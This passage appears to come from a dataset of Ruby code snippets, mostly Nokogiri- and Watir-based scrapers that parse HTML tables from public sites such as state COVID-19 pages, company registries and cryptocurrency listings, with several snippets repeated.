end", "def parse( page )\n { }.tap do |result|\n sections_for( page ).each do |title, table|\n result[ format.title title ] = format.table table\n end\n end\n end", "def tables_for( page )\n page.xpath( TABLE_XPATH )\n end", "def parse_vt()\n state = \"VT\";\n url = 'https://www.healthvermont.gov/response/infectious-disease/2019-novel-coronavirus'\n\n browser = Watir::Browser.new\n browser.goto(url);\n\n doc = Nokogiri::HTML.parse(browser.html)\n \n tnow = DateTime.now().strftime();\n\n output_fn = \"data/\"+tnow+'_USA_'+state+'.html';\n f = File.open(output_fn,\"w\");\n\n f.puts(doc)\n \n# list_of_tables = doc.css(\"//table\");\n\n# for table in list_of_tables\n# f.puts(table)\n# end\n\n f.close();\n browser.close(); \n return ;\nend", "def grab_pr_tables(pr_link)\n doc = Nokogiri::HTML.parse(@http_client.get(pr_link).body)\n ret_val = Set.new\n base = doc.xpath('//*[@id=\"Super_Smash_Bros._Melee_rankings\"]').first\n if base.nil?\n nil\n else\n potential_heading = base.parent.next_element\n potential_table = potential_heading.next_element\n while(potential_heading.matches?(\"h3\") && potential_table.matches?(\"table.wikitable\")) do\n #ret_val << [potential_heading.content.strip, potential_table]\n ret_val << potential_table\n potential_heading = potential_table.next_element\n potential_table = potential_heading.next_element\n end\n end\n ret_val\n end", "def scrape_table(page_body)\n i=0\n \n data_table = Nokogiri::HTML(page_body).css('table#ctl00_ContentPlaceHolder1_tab21_GVProcesos tr').collect do |row|\n #puts row\n if i==0 then\n i=i+1\n else\n if i<7 and row.css('td')[0].inner_text.include? \"/\" then\n puts row.css('td')[3].css('a').attr('href')\n record = {}\n record['Fecha'] = row.css('td')[0].inner_text\n record['Proceso'] = row.css('td')[1].inner_text\n record['Comentario'] = row.css('td')[2].inner_text\n record['URL'] = row.css('td')[3].css('a').attr('href')\n ScraperWiki.save_sqlite([\"URL\"], record)\n i=i+1\n end\n end\n end\nend", "def scrape_table(page_body)\n i=0\n \n data_table = Nokogiri::HTML(page_body).css('table#ctl00_ContentPlaceHolder1_tab21_GVProcesos tr').collect do |row|\n #puts row\n if i==0 then\n i=i+1\n else\n if i<7 and row.css('td')[0].inner_text.include? \"/\" then\n puts row.css('td')[3].css('a').attr('href')\n record = {}\n record['Fecha'] = row.css('td')[0].inner_text\n record['Proceso'] = row.css('td')[1].inner_text\n record['Comentario'] = row.css('td')[2].inner_text\n record['URL'] = row.css('td')[3].css('a').attr('href')\n ScraperWiki.save_sqlite([\"URL\"], record)\n i=i+1\n end\n end\n end\nend", "def scrape_table(page_body)\n i=0\n \n data_table = Nokogiri::HTML(page_body).css('table#ctl00_ContentPlaceHolder1_tab21_GVProcesos tr').collect do |row|\n #puts row\n if i==0 then\n i=i+1\n else\n if i<7 and row.css('td')[0].inner_text.include? \"/\" then\n puts row.css('td')[3].css('a').attr('href')\n record = {}\n record['Fecha'] = row.css('td')[0].inner_text\n record['Proceso'] = row.css('td')[1].inner_text\n record['Comentario'] = row.css('td')[2].inner_text\n record['URL'] = row.css('td')[3].css('a').attr('href')\n ScraperWiki.save_sqlite([\"URL\"], record)\n i=i+1\n end\n end\n end\nend", "def scrape_table(page_body)\n i=0\n \n data_table = Nokogiri::HTML(page_body).css('table#ctl00_ContentPlaceHolder1_tab21_GVProcesos tr').collect do |row|\n #puts row\n if i==0 then\n i=i+1\n else\n if i<7 and row.css('td')[0].inner_text.include? \"/\" then\n puts row.css('td')[3].css('a').attr('href')\n record = {}\n record['Fecha'] = row.css('td')[0].inner_text\n record['Proceso'] = row.css('td')[1].inner_text\n record['Comentario'] = row.css('td')[2].inner_text\n record['URL'] = row.css('td')[3].css('a').attr('href')\n ScraperWiki.save_sqlite([\"URL\"], record)\n i=i+1\n end\n end\n end\nend", "def parse_quotes_tableful\n change_endpoint(:tableful)\n result = []\n table = browser.table\n update_action_log(:table, !table.nil? && table.respond_to?(:trs))\n table = table.trs[1...-1]\n update_action_log(:trs, !table.nil? && !table.empty?)\n\n page = 1\n loop do\n table.each_with_index do |tr, i|\n next if i.odd?\n quote, author = table[i].text.split(' Author: ')\n result.push({\n text: quote,\n author: author,\n tags: table[i + 1].text.split[1..-1]\n })\n end\n page += 1\n browser.goto(base_url + ENDPOINTS[:tableful] + \"/page/#{page}\")\n break if browser.text.include?('No quotes found')\n end\n result\n end", "def scrape_table(page_body, register)\n doc = Nokogiri::HTML(page_body)\n return if doc.at('#labelResultsMessage').inner_text.match(/More than 500 rows/) # to trigger increase in prefix size\n return true unless data_rows = doc.css('table#GridView1 tr')[1..-1] # silently skip if no results\n data_table = data_rows.collect do |row|\n record = {}\n address = row.css('td')[2].inner_text.strip\n record['CompanyName'] = row.css('td')[0].inner_text.strip\n record['CompanyNumber'] = row.css('td')[1].inner_text.strip\n # record['Status'] = (register == 'Previous' ? 'Dissolved' : 'Active') . # we can't trust status\n record['RegisteredAddress'] = address.match(/NO ADDRESS/) ? nil : address \n record['date_scraped'] = Time.now\n ScraperWiki.save([\"CompanyNumber\"], record)\n end\nend", "def scrape_table(page_body, register)\n doc = Nokogiri::HTML(page_body)\n return if doc.at('#labelResultsMessage').inner_text.match(/More than 500 rows/) # to trigger increase in prefix size\n return true unless data_rows = doc.css('table#GridView1 tr')[1..-1] # silently skip if no results\n data_table = data_rows.collect do |row|\n record = {}\n address = row.css('td')[2].inner_text.strip\n record['CompanyName'] = row.css('td')[0].inner_text.strip\n record['CompanyNumber'] = row.css('td')[1].inner_text.strip\n # record['Status'] = (register == 'Previous' ? 'Dissolved' : 'Active') . # we can't trust status\n record['RegisteredAddress'] = address.match(/NO ADDRESS/) ? nil : address \n record['date_scraped'] = Time.now\n ScraperWiki.save([\"CompanyNumber\"], record)\n end\nend", "def to_html\n html = \"<table class='bodyTable'><thead><th>Name</th><th>Lines</th><th>LOC</th><th>Classes</th><th>Methods</th><th>M/C</th><th>LOC/M</th></thead><tbody>\"\n i = 0\n results = self.result.split(/$/)\n bottom = 4 if ENV[\"RAILS_ROOT\"].present?\n bottom ||= 3\n top = bottom\n while !results[bottom].nil? and results[bottom][0..1] != \"\\n+\" do\n bottom = bottom + 1\n end\n lines = results[top..bottom-1]\n lines.each do |line|\n elements = line.split(/\\|/)\n html = html + \"<tr class='#{ i % 2 == 0 ? 'a' : 'b'}'>\"\n html = html + \"<td><strong>#{elements[1]}</strong></td>\"\n html = html + \"<td style='text-align: right;'>#{elements[2]}</td>\"\n html = html + \"<td style='text-align: right;'>#{elements[3]}</td>\"\n html = html + \"<td style='text-align: right;'>#{elements[4]}</td>\"\n html = html + \"<td style='text-align: right;'>#{elements[5]}</td>\"\n html = html + \"<td style='text-align: right;'>#{elements[6]}</td>\"\n html = html + \"<td style='text-align: right;'>#{elements[7]}</td>\"\n html = html + \"</tr>\"\n i = i + 1\n end\n total = results[bottom + 1]\n elements = total.split(/\\|/)\n html = html + \"<tr class='#{ i % 2 == 0 ? 'a' : 'b'}'>\"\n html = html + \"<td><strong>#{elements[1]}</strong></td>\"\n [2,3,4,5,6,7].each do |j|\n html = html + \"<td style='text-align: right;'><strong>#{elements[j]}</strong></td>\"\n end\n html = html + \"</tr>\"\n html = html + \"</tbody></table>\"\n extra = results[bottom + 3]\n elements = extra.split(/:| /)\n @percent = (elements[3].strip.to_f * 100.0) / elements[1].strip.to_f\n return html\n end", "def getTableFromLocalHtml fileName\n f = File.open(fileName)\n doc = Nokogiri::HTML(f, nil, 'utf-8')\n f.close\n tableTr = doc.xpath('//*[@id=\"page-form\"]/div[2]/div[2]/table//tr')\n return tableTr\nend", "def parse_schedule(url)\n # Turn class schedule into an array of arrays.\n page = Nokogiri::HTML(open(url))\n schedule = page.search('table')[5]\n rows = schedule.search('tr')\n rows.map { |row| parse_row(row) }\nend", "def scrape_table(page)\n rows = Nokogiri.HTML(page).css('#ContentPlaceMain_SearchResultsGridView tr')[1..-1]\n if rows.nil?\n puts \"No data found\"\n return true\n elsif rows.size == 300\n puts \"***Too many rows to show on one page. Need to refine prefix\"\n return\n end\n puts \"Found #{rows.size} companies\"\n\n rows.each do |row|\n begin\n record = {}\n company_number_link = row.at('td a') || row.at('td')\n record['CompanyNumber'] = company_number_link.inner_text.strip\n record['CompanyName'] = row.css('td')[2].inner_text.strip\n record['EntityType'] = row.css('td')[1].inner_text.strip\n record['RegistryUrl'] = \"https://www.jerseyfsc.org/registry/documentsearch/NameDetail.aspx?id=\" + company_number_link[:href].scan(/showDetail\\(\\'(\\d+)/).flatten.first.to_s rescue nil\n record['date_scraped'] = Time.now\n next unless COMPANY_TYPES.include?(record['EntityType'])\n # beginning_time = Time.now\n ScraperWiki.save([\"CompanyNumber\"], record)\n # puts \"Time elapsed #{(Time.now - beginning_time)*1000} milliseconds\"\n rescue Exception => e\n puts \"Exception raised while extracting data from row html: #{e.inspect}, #{row.to_html}\"\n end\n end\nrescue Exception => e\n puts \"Exception raised while parsing data: #{e.inspect}, #{e.backtrace}\"\nend", "def scrape_table(page)\n rows = Nokogiri.HTML(page).css('#ContentPlaceMain_SearchResultsGridView tr')[1..-1]\n if rows.nil?\n puts \"No data found\"\n return true\n elsif rows.size == 300\n puts \"***Too many rows to show on one page. Need to refine prefix\"\n return\n end\n puts \"Found #{rows.size} companies\"\n\n rows.each do |row|\n begin\n record = {}\n company_number_link = row.at('td a') || row.at('td')\n record['CompanyNumber'] = company_number_link.inner_text.strip\n record['CompanyName'] = row.css('td')[2].inner_text.strip\n record['EntityType'] = row.css('td')[1].inner_text.strip\n record['RegistryUrl'] = \"https://www.jerseyfsc.org/registry/documentsearch/NameDetail.aspx?id=\" + company_number_link[:href].scan(/showDetail\\(\\'(\\d+)/).flatten.first.to_s rescue nil\n record['date_scraped'] = Time.now\n next unless COMPANY_TYPES.include?(record['EntityType'])\n # beginning_time = Time.now\n ScraperWiki.save([\"CompanyNumber\"], record)\n # puts \"Time elapsed #{(Time.now - beginning_time)*1000} milliseconds\"\n rescue Exception => e\n puts \"Exception raised while extracting data from row html: #{e.inspect}, #{row.to_html}\"\n end\n end\nrescue Exception => e\n puts \"Exception raised while parsing data: #{e.inspect}, #{e.backtrace}\"\nend", "def parse\n lines = @text.split(\"\\n\")\n head = lines.shift\n head = head.gsub(/[[:punct:]]/, '')\n #head = head.gsub(/[[:space:]]|\\t/, '')\n head_match = Tables::Header_regex.match(head.strip)\n if head_match then\n @die = head_match[2].to_i\n @header = head_match[3].strip\n end\n lines.each { |l|\n l = l.gsub(/[[:punct:]]/, '')\n ti = Tables::Line_regex.match(l.strip)\n if ti then\n @outcomes << TableItem.new(ti.to_s)\n end\n }\n end", "def parse_multiple_search_results(page)\n companies = []\n rows = page.body.split('<tr class=\\'alt')\n rows.shift\n rows.each do |row|\n company = {\n 'name' => '',\n 'id' => '',\n 'records' => ''\n }\n company['name'] = row.split('<a class=\\'nowrap\\' title=\\'')[1].split('\\' href=')[0]\n company['id'] = row.split('\\' href=\\'/id')[1].split('/')[0].to_i\n company['records'] = row.split('=showCompDir&\\'>')[1].split('</a>')[0]\n companies << company\n end\n return companies\nend", "def scrapping_name\n page = Nokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\")) \n name_array = Array.new\n (0..200).each do |x|\n name_array << page.xpath(\"//table/tbody/tr[#{x}]/td[3]\").text\n puts \"scrapping : \" + name_array[x]\n end \n return name_array\nend", "def unpack_response( response )\n\t\ttable = TNetstring.parse( response ).first\n\t\tself.log.debug \"Unpacking response: %p\" % [ table ]\n\n\t\t# Success\n\t\tif table.key?( 'headers' )\n\t\t\theaders, rows = table.values_at( 'headers', 'rows' )\n\t\t\theaders.map!( &:to_sym )\n\n\t\t\treturn rows.collect do |row|\n\t\t\t\tHash[ [headers, row].transpose ]\n\t\t\tend\n\n\t\t# Error\n\t\telsif table.key?( 'code' )\n\t\t\t# {\"code\"=>\"INVALID_ARGUMENT\", \"error\"=>\"Invalid argument type.\"}\n\t\t\traise Mongrel2::ControlError.new( table['code'], table['error'] )\n\n\t\telse\n\t\t\traise ScriptError, \"Don't know how to handle response: %p\" % [ table ]\n\t\tend\n\tend", "def scrape(page)\n data_table = page.css('table.ttable tr').collect {|x| x.css('td')}.reject{ |x| x.length == 0}.collect do |row|\n id = row.at_css('td.opis_td .link1')\n if id\n record = {\n ID: row.at_css('td.opis_td .link1')['href'].scan(/^.+(opis)(\\d+)(\\.html)$/).first[1],\n Product: row.css('td.opis_td .link1').inner_text + ' ' + row.css('td.opis_td').children[3].inner_text,\n Price: row.css('span.cena span.price').inner_text\n }\n \n # Print out the data we've gathered\n p record\n \n # Finally, save the record to the datastore - 'Product' is our unique key\n ScraperWiki.save_sqlite([:Product], record)\n end\n end\nend", "def scrape(page)\n data_table = page.css('table.ttable tr').collect {|x| x.css('td')}.reject{ |x| x.length == 0}.collect do |row|\n id = row.at_css('td.opis_td .link1')\n if id\n record = {\n ID: row.at_css('td.opis_td .link1')['href'].scan(/^.+(opis)(\\d+)(\\.html)$/).first[1],\n Product: row.css('td.opis_td .link1').inner_text + ' ' + row.css('td.opis_td').children[3].inner_text,\n Price: row.css('span.cena span.price').inner_text\n }\n \n # Print out the data we've gathered\n p record\n \n # Finally, save the record to the datastore - 'Product' is our unique key\n ScraperWiki.save_sqlite([:Product], record)\n end\n end\nend", "def page_reading\n page = Nokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\"))\n crypto_name_array = []\n crypto_value_array = []\n\n # on récupère \n page.xpath('//tr/td[3]/div').each do |crypto|\n crypto_name_array.push(crypto.text)\n end\n\n page.xpath('//tr/td[5]/div').each do |value|\n crypto_value_array.push(value.text)\n end\n\n general_array = crypto_name_array.zip(crypto_value_array).map { |x, y| {x=>y.delete('$,').to_f}}\n\n return general_array\n\nend", "def scrape_timesbycounty(page)\n rows = Array.new\n data_table = page.css('table a').collect do |row|\n record = {}\n if row['href'].include? \"churchbycounty\"\n rows.push(row)\n end\n end\n\n return rows\nend", "def scrape_timesbycounty(page)\n rows = Array.new\n data_table = page.css('table a').collect do |row|\n record = {}\n if row['href'].include? \"churchbycounty\"\n rows.push(row)\n end\n end\n\n return rows\nend", "def scrape_table(page_body)\n data_table = Nokogiri::HTML(page_body).css('table div.ItemResult').collect.with_index do |row, index|\n place_rec = {}\n main_cat_rec = {}\n sub_cat_rec = {}\n place_cat_rel_rec = {}\n main_cat_id = -9999\n sub_cat_id = -9999\n address = \"\"\n\n # create a place id\n place_id = SecureRandom.uuid\n title_links = row.css('div#HotspotResult_Info').css('a')\n\n address = row.xpath('//span[contains(@id, \"_lblAddress\")]')[index].inner_text\n address.gsub!(/\\\\u([\\da-fA-F]{4})/) {|m| [$1].pack(\"H*\").unpack(\"n*\").pack(\"U*\")}\n address.strip!\n address.gsub!(\"Địa chỉ: \", \"\")\n\n # see if the place has already been saved, if so, move on to the next\n place_already_saved = rec_exists?(\"places\", [\"name\", \"address\"], {\"name\" => title_links[0].inner_text, \"address\" => address})\n p place_already_saved\n next if place_already_saved\n\n # main cat info\n unless title_links[1].nil? \n main_cat_rec['name'] = title_links[1].inner_text\n main_cat_id = title_links[1][\"href\"].match(/.*CategoryID=(.*?)&.*/)[1]\n main_cat_id = main_cat_id.nil? ? -9999 : main_cat_id\n main_cat_rec['id'] = main_cat_id\n\n # save the main cat info for this row\n write(\"main_cats\", [\"name\"], main_cat_rec.to_s + \",\")\n end\n # sub cat info\n (2..title_links.count).each do |i|\n unless title_links[i].nil? \n sub_cat_name = title_links[i].inner_text\n sub_cat_name.gsub!(\", \", \"\")\n sub_cat_rec['name'] = sub_cat_name\n\n next if title_links[i][\"href\"].nil? \n kd = title_links[i][\"href\"].match(/.*kd=(.*?)$/)\n sub_cat_id = kd[1] unless kd.nil? \n sub_cat_id = sub_cat_id.nil? ? -9999 : sub_cat_id\n #p sub_cat_id\n #p main_cat_id\n sub_cat_rec['id'] = sub_cat_id\n sub_cat_rec['main_cat_id'] = main_cat_id\n write(\"sub_cats\", [\"id\", \"main_cat_id\"], sub_cat_rec.to_s + \",\")\n\n # add a new record to place - cat - relation table\n place_cat_rel_rec[\"place_id\"] = place_id\n place_cat_rel_rec[\"main_cat_id\"] = main_cat_id\n place_cat_rel_rec[\"sub_cat_id\"] = sub_cat_id\n write(\"place_cat_rels\", [\"place_id\", \"sub_cat_id\", \"main_cat_id\"], place_cat_rel_rec.to_s + \",\")\n end\n end\n # place's info\n unless title_links[0].nil? \n place_rec[\"id\"] = place_id\n place_rec['name'] = title_links[0].inner_text\n place_rec[\"address\"] = address\n p place_rec['name']\n \n # getting phone number, website, hours, parking info\n item_page_link = title_links[0][\"href\"]\n p item_page_link\n # since their db is mixed up with all locations in one place\n # save this link so that we can sort them out easily later\n # \"http://thodia.vn/khach-san-thuy-van-vung-tau.html\"\n # \"http://thodia.vn/khach-san-thuy-van-ha-noi.html\n # \"http://thodia.vn/khach-san-thuy-van-ho-chi-minh.html\n place_rec[\"tho_dia_link\"] = item_page_link\n\n item_page = Nokogiri::HTML(@br.get(item_page_link).body)\n phone = item_page.xpath(\"//span[contains(@id, '_lbTel')]\").inner_text\n email = item_page.xpath(\"//span[contains(@id, '_lbEmail')]\").inner_text\n website = item_page.xpath(\"//a[contains(@id, '_lblWebsite')]\").first\n website = website.nil? ? \"\" : website.inner_text\n tag_list = \"\"\n tag_all = item_page.xpath(\"//div[contains(@id, '_dvListTag')]\").children\n tag_all.each do |tag|\n # in the form of \"<span>blah</span>\", \"<span>, </span>\", \"<span> blah</span>\"\n tag_list += tag.text\n end\n \n #p phone, email, website\n #p tag_list\n \n place_rec[\"phone\"] = phone\n place_rec[\"email\"] = email\n place_rec[\"website\"] = website\n place_rec[\"tag_list\"] = tag_list\n \n write(\"places\", [\"id\", \"name\"], place_rec.to_s + \",\")\n end\n end\nend", "def getTableCells tableTr, area\n details = tableTr.collect do |row|\n detail = {}\n [\n [\"id\", 'td[1]/text()'],\n [\"school_name\", 'td[2]/text()'],\n [\"school_address\", 'td[3]/text()'],\n [\"school_type\", 'td[4]/text()'],\n [\"school_url\", 'td[5]/a/text()'],\n ].each do |name , xpath|\n detail[name] = row.at_xpath(xpath).to_s.strip\n end\n detail[\"school_area\"] = area\n detail\n end\n details.each do |eachRecord|\n details.delete_if{|y| y[\"id\"] == \"\"}\n end\n return details\nend", "def test_html_tables\n e = Extractor::HTMLTableExtractor.new(:headerlines => 1)\n e.run(fixture(\"infoplease.html\").read)\n assert_match(/Per Capita Personal Income by State .* Infoplease.com/, e.title)\n assert_equal(52, e.data.size)\n assert_equal(11, e.data[0].size)\n assert_equal(\"State\", e.headers[0])\n assert_equal(\"1990\", e.headers[2])\n assert_equal(2, e.properties.size)\n\n # should skip blank rows\n e = Extractor::HTMLTableExtractor.new(:headerlines => 1)\n e.run(testdata(\"worldpop.html\"))\n assert_equal(101, e.data.size)\n\n ce = Extractor::CustomExtractor.new(testdata(\"html_table_with_header.rb\"))\n ce.run(testdata(\"cia_oil.html\"))\n assert_equal(209, ce.data.size) # rows\n assert_equal(4, ce.data[0].size) # columns\n assert_equal(\"Oil - production (bbl/day)\", ce.headers[2])\n end", "def get_decision(detail_page)\n decision_array = []\n first_table = detail_page.search('div#ctl00_MainBodyContent_group_21 table.ContentPanel')\n \n if first_table != nil\n list_tr = first_table.search('tr')\n for i in 1..list_tr.length-1\n list_td = list_tr[i].search('td')\n decision_obj = {}\n decision_obj[:decision] = clean_whitespace(list_td[0].inner_text)\n decision_obj[:decision_date] = clean_whitespace(list_td[1].inner_text)\n decision_obj[:effective_date] = clean_whitespace(list_td[2].inner_text)\n decision_obj[:decision_authority] = clean_whitespace(list_td[3].inner_text)\n decision_obj[:under_appeal] = clean_whitespace((list_td[4] != nil) ? list_td[4].inner_text : \"\")\n decision_array << decision_obj\n end\n else\n return \"\"\n end\n return decision_array\nend", "def get_decision(detail_page)\n decision_array = []\n first_table = detail_page.search('div#ctl00_MainBodyContent_group_21 table.ContentPanel')\n \n if first_table != nil\n list_tr = first_table.search('tr')\n for i in 1..list_tr.length-1\n list_td = list_tr[i].search('td')\n decision_obj = {}\n decision_obj[:decision] = clean_whitespace(list_td[0].inner_text)\n decision_obj[:decision_date] = clean_whitespace(list_td[1].inner_text)\n decision_obj[:effective_date] = clean_whitespace(list_td[2].inner_text)\n decision_obj[:decision_authority] = clean_whitespace(list_td[3].inner_text)\n decision_obj[:under_appeal] = clean_whitespace((list_td[4] != nil) ? list_td[4].inner_text : \"\")\n decision_array << decision_obj\n end\n else\n return \"\"\n end\n return decision_array\nend", "def parse_nh()\n state = \"NH\";\n url = 'https://www.nh.gov/covid19/'\n\n browser = Watir::Browser.new\n browser.goto(url);\n doc = Nokogiri::HTML.parse(browser.html())\n browser.close();\n \n tnow = DateTime.now().strftime();\n\n output_fn = \"data/\"+tnow+'_USA_'+state+'.html';\n f = File.open(output_fn,\"w\");\n\n f.puts(doc)\n \n# list_of_tables = doc.css(\"//table\");\n\n# for table in list_of_tables\n# f.puts(table)\n# end\n\n f.close();\n \n return ;\nend", "def _dyn_rows(response)\n rows = []\n response.elements.each('DynTable/Data/tr') do |row|\n rows << _dyn_record(row)\n end\n rows\n end", "def scrape_table(page_body)\n data_table = Nokogiri::HTML(page_body).css('table#WFDGRDCompanies tr.resultsGridBody').collect do |row|\n record = {}\n record['CompanyNumber'] = row.css('td')[0].inner_text.strip\n record['CompanyName'] = row.css('td')[1].inner_text.strip\n record['Status'] = row.css('td')[2].inner_text.strip\n record['EntityType'] = row.css('td')[3].inner_text.strip\n record['NameType'] = row.css('td')[4].inner_text.strip\n record['date_scraped'] = Time.now\n next if ['NameType'] == 'PREVIOUS' #these have the same company numbers as 'CURRENT' ones, and so would over-write them. Previous name details are avail on the company page, so we can discard this info\n begin\n ScraperWiki.save([\"CompanyNumber\"], record)\n rescue Exception=>e\n puts \"Exception (#{e.inspect}) raised saving company record:#{record.inspect}\"\n end\n end\nend", "def scrape_table(page_body)\n data_table = Nokogiri::HTML(page_body).css('table#WFDGRDCompanies tr.resultsGridBody').collect do |row|\n record = {}\n record['CompanyNumber'] = row.css('td')[0].inner_text.strip\n record['CompanyName'] = row.css('td')[1].inner_text.strip\n record['Status'] = row.css('td')[2].inner_text.strip\n record['EntityType'] = row.css('td')[3].inner_text.strip\n record['NameType'] = row.css('td')[4].inner_text.strip\n record['date_scraped'] = Time.now\n next if ['NameType'] == 'PREVIOUS' #these have the same company numbers as 'CURRENT' ones, and so would over-write them. Previous name details are avail on the company page, so we can discard this info\n begin\n ScraperWiki.save([\"CompanyNumber\"], record)\n rescue Exception=>e\n puts \"Exception (#{e.inspect}) raised saving company record:#{record.inspect}\"\n end\n end\nend", "def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend", "def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend", "def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend", "def scrape_table(page)\n data_table = page.css('div.boxListResult').each do |x|\n record = {}\n record[:Link] = DOMAIN + x.css(\"div.contInfo h3 a\").at_css(\"a\")[\"href\"]\n # Print out the data we've gathered\n puts record\n # Finally, save the record to the datastore - 'Artist' is our unique key\n ScraperWiki.save_sqlite(unique_keys=[:Link], data=record)\n end\nend", "def parse_table(table)\n ret_val = {}\n rows = table.xpath('//tr')\n rows.drop(1).each do |row|\n if row.at_xpath('td[2]') && row.at_xpath('td[1]')\n # TODO: normalize instead of simply downcasing\n name = row.at_xpath('td[2]').content.strip.downcase\n ret_val[name] = row.at_xpath('td[1]').content.strip\n end\n end\n ret_val\n end", "def parse_nj()\n state = \"NJ\";\n# url = 'https://www.nj.gov/health/cd/topics/covid2019_dashboard.shtml'\n url = 'https://maps.arcgis.com/apps/opsdashboard/index.html#/ec4bffd48f7e495182226eee7962b422'\n browser = Watir::Browser.new\n browser.goto(url);\n sleep 10\n \n doc = Nokogiri::HTML.parse(browser.html())\n browser.close();\n \n tnow = DateTime.now().strftime();\n\n output_fn = \"data/\"+tnow+'_USA_'+state+'.html';\n f = File.open(output_fn,\"w\");\n\n f.puts(doc)\n \n# list_of_tables = doc.css(\"//table\");\n\n# for table in list_of_tables\n# f.puts(table)\n# end\n\n f.close();\n \n return ;\nend", "def prepare_data \n table=Array.new\n flag=true\n flag2=false\n count=0 \n @reader.pages.each_with_index do |page,i| \n break if i >= @page \n #(?!([a-zA-Z\\-0-9]+))\n #text = page.text.gsub(/\\n\\s{1}+[0-9]{1}+,[0-9]\\s{1}+/,' ')\n rows=page.text.split(/\\n/) \n rows.each_with_index do|row,ind|\n temp=row.split(/\\s{2}+/)\n \n if temp.length == 1 && temp[0].include?('-')\n flag2=true\n rows[ind+1].insert(0, temp[0]) if !rows[ind+1].nil?\n flag2=false;\n end\n if temp.length >9\n temp.delete_at(1) \n end \n if temp.length ==9\n table << temp unless (temp.empty? || row.include?(\"Portfolio Name\"))\n \n end\n if flag && row.include?(\"Portfolio Name\")\n non_standardized_header row\n flag=false\n end\n end\t \n end \n return table\n end", "def coins\n page = Nokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\")) \n name_array = Array.new\n (0..200).each do |x|\n name_array << page.xpath(\"//table/tbody/tr[#{x}]/td[3]\").text\n end \n return name_array\nend", "def parse_wa()\n state = \"WA\";\n url = 'https://www.doh.wa.gov/emergencies/coronavirus'\n\n browser = Watir::Browser.new\n browser.goto(url);\n\n sleep 10\n\n html = browser.html\n doc = Nokogiri::HTML.parse(html)\n \n tnow = DateTime.now().strftime();\n\n output_fn = \"data/\"+tnow+'_USA_'+state+'.html';\n f = File.open(output_fn,\"w\");\n\n f.puts(doc)\n \n# list_of_tables = doc.css(\"//table\");\n\n# for table in list_of_tables\n# f.puts(table)\n# end\n\n f.close();\n browser.close(); \n return ;\nend", "def get_model_table(part)\n rows = @parser.find(part).find_children('tr').list_results\n table = []\n rows.each do |row|\n table.push(\n get_model_row(@parser.find(row).find_children('td,th').list_results)\n )\n end\n get_valid_model_table(table)\n end", "def extract_tables(main)\n sections = main.split(\"[End of table] \\n\")\n tables = []\n sections.each do |section|\n flag = false\n table = \"\"\n section.lines do |line|\n flag = true if line =~ /^Table /\n table << line if flag\n end\n tables << table unless table.empty?\n end\n tables\n end", "def parse_v1(doc, of, version, debug)\n#------------------------------------------------------------------------------\n# parse yesterday's table data\n# it looks that if I use '//td', then all rows in all tables in the list are returned\n# table id's : 'usa_table_countries_today' and 'usa_table_countries_yesterday'\n#------------------------------------------------------------------------------\n time_stamp = parse_time_stamp(doc,debug,of).prev_day();\n tables = doc.xpath(\"//div[@class='container']/div/div/div/div/div/table\");\n printf(\"ntables: %i\\n\",tables.length)\n\n for table in tables\n \n if (debug > 0) then\n of.printf(\"------------- //table ID: %s\\n\",table['id'])\n of.puts(table)\n end\n \n if (table['id'] == 'usa_table_countries_yesterday') then\n print_header(of)\n rows = table.xpath('tbody/tr')\n for row in rows\n cells = row.xpath('td')\n r = parse_cells(cells,time_stamp,version);\n print_record_to_file(r,of); # print record to a file\n end\n end\n end\n\n return ;\n end", "def parse_page(response)\n\t\tNokogiri::HTML(response.body)\n\tend", "def titles_from_page(page)\n doc = Nokogiri::HTML(page)\n cells = doc.xpath('//table[@id=\"table5\"]/tr/td')\n if cells.empty?\n cells = doc.xpath('//table[@id=\"table4\"]/tr/td') # ridiculous, I know\n if cells.empty?\n cells = doc.xpath('//table[@id=\"table2\"]/tr/td') # ridiculouser, I know\n end\n end\n he, en = ['', '']\n begin\n he, en = [trim(cells[0].text()), trim(cells[-1].text())] # first and last <td> elements should be the Hebrew and English names. There may or may not be the \"in preparation\" notice in a middle <td>\n rescue Exception\n log(\"--> ERROR getting labels!\")\n end\n return [he, en]\nend", "def scrape\n\t\t(2..tot_rec).collect do |row|\n\t\t\taggregate_col_data(row)\n\t\tend\n\tend", "def _get_dyn_table(console, address, payload = nil)\n if payload\n response = AJAX.post(console, address, payload)\n else\n response = AJAX.get(console, address)\n end\n response = REXML::Document.new(response)\n\n headers = _dyn_headers(response)\n rows = _dyn_rows(response)\n rows.map { |row| Hash[headers.zip(row)] }\n end", "def tables\n @tables ||= {}.tap do |tables|\n parsed_data['tables'].map do |table|\n parsed_table_rows = parse_choices(table['rows'])\n tables[table['id']] = Table.new(table['name'], table['parameters'], parsed_table_rows)\n end\n end\n end", "def data_tables\n @data_tables ||= @profile_page.search('table#yfncsumtab').to_s.gsub(\"\\n\",'')\n end", "def get_all_tables\n\t\ttc = new_sub(@discovery['tables'])\n\t\ttc.poll[:messages].map {|x| pp x; JSON.parse(x.content) rescue nil}.compact\n\tend", "def scrape_data\n rows = @page.search(\"//tr[contains(@class,'Item')]\")\n data = { }\n rows.each do |row|\n cells = row.search(\"td\")\n data[cells.first.text.downcase.gsub(/\\\\|:/, '')] = cells.last.text\n end\n data\n end", "def results\n extract_rows.map do |result|\n hash = {}\n hash[:price] = result.xpath(\".//a[contains(concat(' ',normalize-space(@class),' '),' results_price ')]\").text.strip\n hash[:airline] = result.xpath(\".//div[contains(concat(' ',normalize-space(@class),' '),' rsAirlineName ')]\").text.strip\n 